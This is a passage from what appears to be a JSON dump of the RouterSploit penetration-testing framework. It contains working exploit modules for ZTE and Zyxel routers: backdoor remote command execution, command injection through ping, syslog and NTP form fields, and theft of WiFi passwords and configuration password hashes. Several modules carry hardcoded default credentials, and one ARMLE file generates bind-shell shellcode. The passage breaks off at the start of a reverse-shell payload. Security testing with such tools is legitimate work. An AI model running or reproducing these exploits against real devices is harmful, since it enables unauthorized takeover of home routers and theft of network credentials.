    "path": "routersploit/modules/exploits/routers/zte/f460_f660_backdoor.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"ZTE F460 & F660 Backdoor RCE\",\n        \"description\": \"Exploits ZTE F460 and F660 backdoor vulnerability that allows \"\n                       \"executing commands on operating system level.\",\n        \"authors\": (\n            \"Rapid7\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://community.rapid7.com/community/infosec/blog/2014/03/04/disclosure-r7-2013-18-zte-f460-and-zte-f660-webshellcmdgch-backdoor\",\n        ),\n        \"devices\": (\n            \"ZTE F460\",\n            \"ZTE F660\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop\")\n            shell(self)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        data = {\n            \"IF_ACTION\": \"apply\",\n            \"IF_ERRORSTR\": \"SUCC\",\n            \"IF_ERRORPARAM\": \"SUCC\",\n            \"IF_ERRORTYPE\": \"-1\",\n            \"Cmd\": cmd,\n            \"CmdAck\": \"\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/web_shell_cmd.gch\",\n            data=data\n        )\n        if response is None:\n            return \"\"\n\n        if response.status_code == 200:\n            regexp = '<textarea cols=\"\" rows=\"\" id=\"Frm_CmdAck\" class=\"textarea_1\">(.*?)</textarea>'\n            res = re.findall(regexp, response.text, re.DOTALL)\n\n            if len(res):\n                return res[0]\n\n        return \"\"\n\n    @mute\n    def check(self):\n        marker = utils.random_text(32)\n        cmd = \"echo {}\".format(marker)\n\n        response = self.execute(cmd)\n        if marker in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zte/zxhn_h108n_wifi_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"ZTE ZXHN H108N Wifi Password Disclosure\",\n        \"description\": \"Module exploits ZTE ZXHN H108N WiFi Password Disclosure vulnerability \"\n                       \"that allows to retrieve password for wifi connection.\",\n        \"authors\": (\n            \"Mostafa Nafady\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/threat9/routersploit/issues/588\",\n        ),\n        \"devices\": (\n            \"ZTE ZXHN H108N\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        credentials = self.get_credentials()\n        if credentials:\n            print_success(\"Target is vulnerable\")\n\n            ssid, password = credentials\n            creds = [\n                (\"SSID Name\", ssid),\n                (\"Password\", password)\n            ]\n\n            print_status(\"Discovered information:\")\n            print_table((\"Parameter\", \"Value\"), *creds)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def get_credentials(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/wizard_wlan_t.gch\"\n        )\n\n        if response:\n            # get ssid\n            ssid = \"\"\n            password = \"\"\n\n            res = [r for r in re.findall(r\"Transfer_meaning\\('ESSID','(.*?)'\\);\", response.text) if r]\n            if res:\n                ssid = res[0]\n\n            # get password\n            res = [r for r in re.findall(r\"Transfer_meaning\\('KeyPassphrase','(.*?)'\\);\", response.text) if r]\n            if res:\n                password = res[0]\n\n            if ssid or password:\n                return (ssid, password)\n\n        return None\n\n    @mute\n    def check(self):\n        credentials = self.get_credentials()\n        if credentials:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zte/zxv10_rce.py",
    "content": "import re\nimport time\nimport requests\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"ZTE ZXV10 RCE\",\n        \"description\": \"Exploits ZTE ZXV10 H108L remote code execution vulnerability \"\n                       \"that allows executing commands on operating system level.\",\n        \"authors\": (\n            \"Anastasios Stasinopoulos\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/stasinopoulos/ZTExploit/\",\n        ),\n        \"devices\": (\n            \"ZTE ZXV10 H108L\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"root\", \"Username to log in with\")\n    password = OptString(\"W!n0&oO7.\", \"Password to log in with\")\n\n    def __init__(self):\n        self.session = requests.Session()\n\n    def run(self):\n        if self.login():\n            print_success(\"Target seems to be vulnerable\")\n            self.info()\n\n            print_status(\"Invoking command loop\")\n            shell(self, architecture=\"mipsbe\", method=\"wget\", location=\"/tmp\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        path = \"/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;echo $({})&NumofRepeat=1&\" \\\n               \"DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit\".format(cmd)\n\n        try:\n            response = self.http_request(\n                method=\"GET\",\n                path=path,\n                session=self.session\n            )\n            time.sleep(3)\n\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch\",\n                session=self.session\n            )\n            time.sleep(1)\n\n            res = re.findall(r'textarea_1\">(.*) -c', response.text)\n            if len(res):\n                return res[0]\n            else:\n                res1 = re.findall(r'textarea_1\">(.*)', response.text)\n                if res1[0] == \"-c 1 -s 64\":\n                    return \"\"\n                else:\n                    res2 = re.findall(r'(.*) -c', response.text)\n                    res = res1 + res2\n                    if res[0] != \"</textarea>\":\n                        return res[0]\n        except Exception:\n            pass\n\n        return \"\"\n\n    def info(self):\n        try:\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/template.gch\",\n                session=self.session\n            )\n        except Exception:\n            return\n\n        # Check for Model Name\n        Frm_ModelName = re.findall(r'Frm_ModelName\" class=\"tdright\">(.*)<', response.text)\n        if len(Frm_ModelName):\n            print_status(\"Model Name: {}\".format(Frm_ModelName[0]))\n\n        # Check for Serial Number\n        Frm_SerialNumber = re.findall(r'Frm_SerialNumber\" class=\"tdright\">(.*)', response.text)\n        if len(Frm_SerialNumber):\n            print_status(\"Serial Number: {}\".format(Frm_SerialNumber[0]))\n\n        # Check for Hardware Version\n        Frm_HardwareVer = re.findall(r'Frm_HardwareVer\" class=\"tdright\">(.*)<', response.text)\n        if len(Frm_HardwareVer):\n            print_status(\"Software Version: {}\".format(Frm_HardwareVer[0]))\n\n        # Check for Boot Loader Version\n        Frm_BootVer = re.findall(r'Frm_BootVer\"  class=\"tdright\">(.*)<', response.text)\n        if len(Frm_BootVer):\n            print_status(\"Boot Loader Version: {}\".format(Frm_BootVer[0]))\n\n    def login(self):\n        try:\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/\",\n                session=self.session\n            )\n            if response is None:\n                return\n\n            print_status(\"Retrieving random login token...\")\n            Frm_Logintoken = re.findall(r'Frm_Logintoken\"\\).value = \"(.*)\";', response.text)\n\n            if len(Frm_Logintoken):\n                Frm_Logintoken = Frm_Logintoken[0]\n                print_status(\"Trying to log in with credentials {} : {}\".format(self.username, self.password))\n\n                data = {\n                    \"Frm_Logintoken\": Frm_Logintoken,\n                    \"Username\": self.username,\n                    \"Password\": self.password\n                }\n\n                response = self.http_request(\n                    method=\"POST\",\n                    path=\"/login.gch\",\n                    session=self.session,\n                    data=data\n                )\n                if (\"Username\" not in response.text and \"Password\" not in response.text and\n                   \"404 Not Found\" not in response.text and response.status_code != 404):\n                    print_success(\"Successful authentication\")\n                    return True\n        except Exception:\n            pass\n\n        return False\n\n    @mute\n    def check(self):\n        if self.login():\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/d1000_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Zyxel Eir D1000 RCE\",\n        \"description\": \"Module exploits Remote Command Execution vulnerability in Zyxel/Eir D1000 devices. \"\n                       \"If the target is vulnerable it allows to execute commands on operating system level.\",\n        \"authors\": (\n            \"kenzo\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://devicereversing.wordpress.com/2016/11/07/eirs-d1000-modem-is-wide-open-to-being-hacked/\",\n            \"https://isc.sans.edu/forums/diary/Port+7547+SOAP+Remote+Code+Execution+Attack+Against+DSL+Modems/21759\",\n            \"https://broadband-forum.org/technical/download/TR-064.pdf\",\n        ),\n        \"devices\": (\n            \"Zyxel EIR D1000\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address: 192.168.1.1\")\n    port = OptPort(7547, 'Target HTTP port')\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\n            \"Content-Type\": \"text/xml\",\n            \"SOAPAction\": \"urn:dslforum-org:service:Time:1#SetNTPServers\"\n        }\n\n        data = (\"<?xml version=\\\"1.0\\\"?>\"\n                \"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" SOAP-ENV:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\"\n                \" <SOAP-ENV:Body>\"\n                \"  <u:SetNTPServers xmlns:u=\\\"urn:dslforum-org:service:Time:1\\\">\"\n                \"   <NewNTPServer1>`{}`</NewNTPServer1>\"  # injection\n                \"   <NewNTPServer2></NewNTPServer2>\"\n                \"   <NewNTPServer3></NewNTPServer3>\"\n                \"   <NewNTPServer4></NewNTPServer4>\"\n                \"   <NewNTPServer5></NewNTPServer5>\"\n                \"  </u:SetNTPServers>\"\n                \" </SOAP-ENV:Body>\"\n                \"</SOAP-ENV:Envelope>\").format(cmd)\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/UD/act?1\",\n            headers=headers,\n            data=data,\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):  # todo: requires improvement\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/globe\"\n        )\n\n        if response is not None:\n            if response.status_code == 404 and \"home_wan.htm\" in response.text:\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/d1000_wifi_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Zyxel Eir D1000 WiFi Password Disclosure\",\n        \"description\": \"Module exploits WiFi Password Disclosure vulnerability in Zyxel/Eir D1000 devices. \"\n                       \"If the target is vulnerable it allows to read WiFi password.\",\n        \"authors\": (\n            \"Xiphos http://www.xiphosresearch.com/\",  # vulnerability discovery, poc exploit\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/XiphosResearch/exploits/tree/master/tr-06fail\",\n        ),\n        \"devices\": (\n            \"Zyxel EIR D1000\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address: 192.168.1.1\")\n    port = OptPort(7547, 'Target HTTP port')\n\n    def run(self):\n        creds = []\n        password = self.get_wifi_key()\n\n        if password is not None:\n            creds.append((\"WiFi Password\", password))\n            print_success(\"Target seems to be vulnerable\")\n            print_table((\"Parameter\", \"Value\"), *creds)\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        if self.get_wifi_key() is not None:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n\n    def get_wifi_key(self):\n        headers = {\n            \"SOAPAction\": \"urn:dslforum-org:service:WLANConfiguration:1#GetSecurityKeys\"\n        }\n        data = (\n            \"<?xml version=\\\"1.0\\\"?>\"\n            \"<SOAP-ENV:Envelope xmlns:SOAP-ENV=\\\"http://schemas.xmlsoap.org/soap/envelope/\\\" SOAP-ENV:encodingStyle=\\\"http://schemas.xmlsoap.org/soap/encoding/\\\">\"\n            \" <SOAP-ENV:Body>\"\n            \"  <u:GetSecurityKeys xmlns:u=\\\"urn:dslforum-org:service:WLANConfiguration:1\\\">\"\n            \"  </u:GetSecurityKeys>\"\n            \" </SOAP-ENV:Body>\"\n            \"</SOAP-ENV:Envelope>\"\n        )\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/UD/act?1\",\n            headers=headers,\n            data=data\n        )\n\n        if response is None:\n            return None\n\n        password = re.findall(\"<NewPreSharedKey>(.*?)</NewPreSharedKey>\", response.text)\n\n        if len(password):\n            return password[0]\n\n        return None\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/p660hn_t_v1_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Zyxel P660HN-T v1 RCE\",\n        \"description\": \"Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T v1 devices. \"\n                       \"If the target is vulnerable it allows to execute commands on operating system level.\",\n        \"authors\": (\n            \"Pedro Ribeiro <pedrib[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://seclists.org/fulldisclosure/2017/Jan/40\",\n            \"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt\",\n            \"https://blogs.securiteam.com/index.php/archives/2910\",\n        ),\n        \"devices\": (\n            \"Zyxel P660HN-T v1\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address: 192.168.1.1\")\n    port = OptPort(80, \"Target port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        payload = \";{};#\".format(cmd)\n        data = {\n            \"remote_submit_Flag\": \"1\",\n            \"remote_syslog_Flag\": \"1\",\n            \"RemoteSyslogSupported\": \"1\",\n            \"LogFlag\": \"0\",\n            \"remote_host\": payload,\n            \"remoteSubmit\": \"Save\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/ViewLog.asp\",\n            data=data\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/cgi-bin/authorize.asp\",\n        )\n        if response is None:\n            return False\n\n        if \"ZyXEL P-660HN-T1A\" in response.text:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/p660hn_t_v2_rce.py",
    "content": "import base64\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Zyxel P660HN-T v2 RCE\",\n        \"description\": \"Module exploits Remote Command Execution vulnerability in Zyxel P660HN-T V2 devices. \"\n                       \"If the target is vulnerable it allows to execute commands on operating system level.\",\n        \"authors\": (\n            \"Pedro Ribeiro <pedrib[at]gmail.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://seclists.org/fulldisclosure/2017/Jan/40\",\n            \"https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt\",\n            \"https://blogs.securiteam.com/index.php/archives/2910\",\n        ),\n        \"devices\": (\n            \"Zyxel P660HN-T v2\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString('supervisor', 'Username for the web interface')\n    password = OptString('zyad1234', 'Password for the web interface')\n\n    def __init__(self):\n        self.session = None\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection - response is not available. Command length up to 28 characters.\")\n            shell(self, architecture=\"mipsbe\")\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        payload = \"1.1.1.1`{}`&#\".format(cmd)\n        data = {\n            \"logSetting_H\": \"1\",\n            \"active\": \"1\",\n            \"logMode\": \"LocalAndRemote\",\n            \"serverPort\": \"123\",\n            \"serverIP\": payload\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/cgi-bin/pages/maintenance/logSetting/logSet.asp\",\n            data=data,\n            session=self.session\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/js/Multi_Language.js\"\n        )\n\n        if response is None:\n            return False\n\n        if \"P-660HN-T1A_IPv6\" in response.text:\n            return True\n\n        return False\n\n    def login(self):\n        credentials = base64.encode(\"{}:{}\".format(self.username, self.password))\n        path = \"/cgi-bin/index.asp?\" + credentials\n\n        data = {\n            \"Loginuser\": \"supervisor\",\n            \"Prestige_Login\": \"Login\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=path,\n            data=data,\n            session=self.session\n        )\n\n        if response is not None and response.status_code == 200:\n            return True\n\n        return False\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/zyxel/zywall_usg_extract_hashes.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Zyxel ZyWALL USG Extract Hashes\",\n        \"description\": \"Exploit implementation for ZyWall USG 20 Authentication Bypass In Configuration Import/Export. \"\n                       \"If the tharget is vulnerable it allows to download configuration files which contains \"\n                       \"sensitive data like password hashes, firewall rules and other network related configurations.\",\n        \"authors\": (\n            \"RedTeam Pentesting\",  # vulnerability discovery\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/17244/\",\n        ),\n        \"devices\": (\n            \"ZyXEL ZyWALL USG-20\",\n            \"ZyXEL ZyWALL USG-20W\",\n            \"ZyXEL ZyWALL USG-50\",\n            \"ZyXEL ZyWALL USG-100\",\n            \"ZyXEL ZyWALL USG-200\",\n            \"ZyXEL ZyWALL USG-300\",\n            \"ZyXEL ZyWALL USG-1000\",\n            \"ZyXEL ZyWALL USG-1050\",\n            \"ZyXEL ZyWALL USG-2000\",\n        ),\n    }\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(443, \"Target HTTP port\")\n    ssl = OptBool(True, \"SSL enabled: true/false\")\n\n    def __init__(self):\n        self.credentials = []\n\n    def run(self):\n        self.credentials = []\n\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n            print_table((\"Username\", \"Hash\", \"User type\"), *self.credentials)\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):  # todo: requires improvement\n        path = \"/cgi-bin/export-cgi/images/?category={}&arg0={}\".format('config', 'startup-config.conf')\n        response = self.http_request(\n            method=\"GET\",\n            path=path\n        )\n\n        if response is not None and response.status_code == 200:\n            for line in response.text.split(\"\\n\"):\n                line = line.strip()\n                m_groups = re.match(r\"username (.*) password (.*) user-type (.*)\", line, re.I | re.M)\n                if m_groups:\n                    self.credentials.append((m_groups.group(1), m_groups.group(2), m_groups.group(3)))\n\n            if self.credentials:\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/generic/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/generic/bluetooth/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/generic/bluetooth/btle_enumerate.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.bluetooth.btle_client import BTLEClient\n\n\nclass Exploit(BTLEClient):\n    __info__ = {\n        \"name\": \"Bluetooth LE Enumerate\",\n        \"description\": \"Enumerating services and characteristics of a given \"\n                       \"Bluetooth Low Energy devices.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/\",\n        ),\n    }\n\n    target = OptMAC(\"\", \"Target MAC address\")\n\n    def run(self):\n        res = self.btle_scan(self.target)\n        if res:\n            device = res[0]\n\n            device.print_info()\n            device.print_services()\n"
  },
  {
    "path": "routersploit/modules/generic/bluetooth/btle_scan.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.bluetooth.btle_client import BTLEClient\n\n\nclass Exploit(BTLEClient):\n    __info__ = {\n        \"name\": \"Bluetooth LE Scan\",\n        \"description\": \"Scans for Bluetooth Low Energy devices.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/\",\n        ),\n    }\n\n    enum = OptBool(False, \"Automatically enumerate services: true/false\")\n    buffering = OptBool(False, \"Buffering enabled: true/false. Results in real time.\")\n\n    def run(self):\n        devices = self.btle_scan()\n\n        for device in devices:\n            if not self.buffering:\n                device.print_info()\n\n            if self.enum:\n                device.print_services()\n"
  },
  {
    "path": "routersploit/modules/generic/bluetooth/btle_write.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.bluetooth.btle_client import BTLEClient\n\n\nclass Exploit(BTLEClient):\n    __info__ = {\n        \"name\": \"Bluetooth LE Write\",\n        \"description\": \"Writes data to target Bluetooth Low Energy device to given \"\n                       \"characteristic.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.evilsocket.net/2017/09/23/This-is-not-a-post-about-BLE-introducing-BLEAH/\",\n        ),\n    }\n\n    target = OptMAC(\"\", \"Target MAC address\")\n    char = OptString(\"\", \"Characteristic\")\n    data = OptString(\"41424344\", \"Data (in hex format)\")\n    buffering = OptBool(True, \"Buffering enabled: true/false. Results in real time.\")\n\n    def run(self):\n        try:\n            data = bytes.fromhex(self.data)\n        except ValueError:\n            print_error(\"Data is not in valid format\")\n            return\n\n        res = self.btle_scan(self.target)\n        if res:\n            device = res[0]\n            device.write(self.char, data)\n"
  },
  {
    "path": "routersploit/modules/generic/upnp/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/generic/upnp/ssdp_msearch.py",
    "content": "import re\n\nfrom routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"SSDP M-SEARCH Info Discovery\",\n        \"description\": \"Sends M-SEARCH request to target and retrieve information from UPnP \"\n                       \"enabled systems.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.upnp-hacks.org/upnp.html\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6\")\n    port = OptPort(1900, \"Target UPNP Port\")\n\n    def run(self):\n        request = (\n            \"M-SEARCH * HTTP/1.1\\r\\n\" +\n            \"HOST: {}:{}\\r\\n\".format(self.target, self.port) +\n            \"MAN: \\\"ssdp:discover\\\"\\r\\n\" +\n            \"MX: 2\\r\\n\" +\n            \"ST: upnp:rootdevice\\r\\n\\r\\n\"\n        )\n        request = bytes(request, \"utf-8\")\n\n        udp_client = self.udp_create()\n        udp_client.send(request)\n\n        response = udp_client.recv(1024)\n        if response:\n            response = str(response, \"utf-8\")\n\n            info = {}\n            regexps = {\n                \"server\": r\"Server:\\s*(.*?)\\r\\n\",\n                \"location\": r\"Location:\\s*(.*?)\\r\\n\",\n                \"usn\": r\"USN:\\s*(.*?)\\r\\n\",\n            }\n\n            for key in regexps.keys():\n                res = re.findall(regexps[key], response, re.IGNORECASE)\n                if res:\n                    info[key] = res[0]\n                else:\n                    info[key] = \"\"\n\n            print_status(\"{}:{} | {} | {} | {}\".format(self.target, self.port, info[\"server\"], info[\"location\"], info[\"usn\"]))\n        else:\n            print_error(\"Target did not respond to M-SEARCH request\")\n\n        udp_client.close()\n"
  },
  {
    "path": "routersploit/modules/payloads/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/armle/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/payloads/armle/bind_tcp.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.exploit.payloads import (\n    ArchitectureSpecificPayload,\n    Architectures,\n    BindTCPPayloadMixin,\n)\n\n\nclass Payload(BindTCPPayloadMixin, ArchitectureSpecificPayload):\n    __info__ = {\n        \"name\": \"ARMLE Bind TCP\",\n        \"description\": \"Creates interactive tcp bind shell for ARMLE architecture.\",\n        \"authors\": (\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n    }\n\n    architecture = Architectures.ARMLE\n\n    def generate(self):\n        bind_port = utils.convert_port(self.rport)\n\n        return (\n            b\"\\x02\\x00\\xa0\\xe3\" +\n            b\"\\x01\\x10\\xa0\\xe3\" +\n            b\"\\x06\\x20\\xa0\\xe3\" +\n            b\"\\x07\\x00\\x2d\\xe9\" +\n            b\"\\x01\\x00\\xa0\\xe3\" +\n            b\"\\x0d\\x10\\xa0\\xe1\" +\n            b\"\\x66\\x00\\x90\\xef\" +\n            b\"\\x0c\\xd0\\x8d\\xe2\" +\n            b\"\\x00\\x60\\xa0\\xe1\" +\n            bind_port[1:2] + b\"\\x10\\xa0\\xe3\" +\n            bind_port[0:1] + b\"\\x70\\xa0\\xe3\" +\n            b\"\\x01\\x1c\\xa0\\xe1\" +\n            b\"\\x07\\x18\\x81\\xe0\" +\n            b\"\\x02\\x10\\x81\\xe2\" +\n            b\"\\x02\\x20\\x42\\xe0\" +\n            b\"\\x06\\x00\\x2d\\xe9\" +\n            b\"\\x0d\\x10\\xa0\\xe1\" +\n            b\"\\x10\\x20\\xa0\\xe3\" +\n            b\"\\x07\\x00\\x2d\\xe9\" +\n            b\"\\x02\\x00\\xa0\\xe3\" +\n            b\"\\x0d\\x10\\xa0\\xe1\" +\n            b\"\\x66\\x00\\x90\\xef\" +\n            b\"\\x14\\xd0\\x8d\\xe2\" +\n            b\"\\x06\\x00\\xa0\\xe1\" +\n            b\"\\x03\\x00\\x2d\\xe9\" +\n            b\"\\x04\\x00\\xa0\\xe3\" +\n            b\"\\x0d\\x10\\xa0\\xe1\" +\n            b\"\\x66\\x00\\x90\\xef\" +\n            b\"\\x08\\xd0\\x8d\\xe2\" +\n            b\"\\x06\\x00\\xa0\\xe1\" +\n            b\"\\x01\\x10\\x41\\xe0\" +\n            b\"\\x02\\x20\\x42\\xe0\" +\n            b\"\\x07\\x00\\x2d\\xe9\" +\n            b\"\\x05\\x00\\xa0\\xe3\" +\n            b\"\\x0d\\x10\\xa0\\xe1\" +\n            b\"\\x66\\x00\\x90\\xef\" +\n            b\"\\x0c\\xd0\\x8d\\xe2\" +\n            b\"\\x00\\x60\\xa0\\xe1\" +\n            b\"\\x02\\x10\\xa0\\xe3\" +\n            b\"\\x06\\x00\\xa0\\xe1\" +\n            b\"\\x3f\\x00\\x90\\xef\" +\n            b\"\\x01\\x10\\x51\\xe2\" +\n            b\"\\xfb\\xff\\xff\\x5a\" +\n            b\"\\x04\\x10\\x4d\\xe2\" +\n            b\"\\x02\\x20\\x42\\xe0\" +\n            b\"\\x2f\\x30\\xa0\\xe3\" +\n            b\"\\x62\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x34\\x83\\xe0\" +\n            b\"\\x69\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x38\\x83\\xe0\" +\n            b\"\\x6e\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x3c\\x83\\xe0\" +\n            b\"\\x2f\\x40\\xa0\\xe3\" +\n            b\"\\x73\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x44\\x84\\xe0\" +\n            b\"\\x68\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x48\\x84\\xe0\" +\n            b\"\\x73\\x50\\xa0\\xe3\" +\n            b\"\\x68\\x70\\xa0\\xe3\" +\n            b\"\\x07\\x54\\x85\\xe0\" +\n            b\"\\x3e\\x00\\x2d\\xe9\" +\n            b\"\\x08\\x00\\x8d\\xe2\" +\n            b\"\\x00\\x10\\x8d\\xe2\" +\n            b\"\\x04\\x20\\x8d\\xe2\" +\n            b\"\\x0b\\x00\\x90\\xef\"\n        )\n"
  },
  {
    "path": "routersploit/modules/payloads/armle/reverse_tcp.py",
